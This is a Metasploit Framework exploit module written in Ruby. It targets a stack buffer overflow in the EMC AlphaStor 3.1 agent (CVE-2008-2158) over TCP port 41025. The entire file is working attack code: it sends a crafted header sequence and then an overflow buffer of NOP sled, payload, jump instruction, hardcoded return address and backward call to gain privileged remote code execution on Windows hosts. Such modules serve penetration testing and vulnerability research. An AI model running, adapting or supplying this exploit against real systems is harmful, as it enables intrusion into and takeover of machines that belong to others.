##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EMC AlphaStor Agent Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in EMC AlphaStor 3.1.
				By sending a specially crafted message, an attacker may
				be able to execute arbitrary code.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2008-2158' ],
					[ 'OSVDB', '45714' ],
					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process', # one-shot overwrite.
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975
				],
			'Privileged'     => true,
			'DisclosureDate' => 'May 27 2008',
			'DefaultTarget' => 0))

		register_options([Opt::RPORT(41025)], self.class)
	end

	def exploit
		connect

		# overwrite via: ascli.exe asopmsg "long_buff"
		uno = [0x0000000b].pack('V')
		sock.put(uno)

		dos =  rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"
		sock.put(dos)

		tres = [0x00000004].pack('V')
		sock.put(tres)

		quatro = [0x0000001b].pack('V')
		sock.put(quatro)

		cinco = [0x0000047c].pack('V')
		sock.put(cinco)

		data =  make_nops(827 - payload.encoded.length) + payload.encoded
		data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
		data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"

		print_status("Trying target #{target.name}...")
		sock.put(data)

		handler
		disconnect
	end

end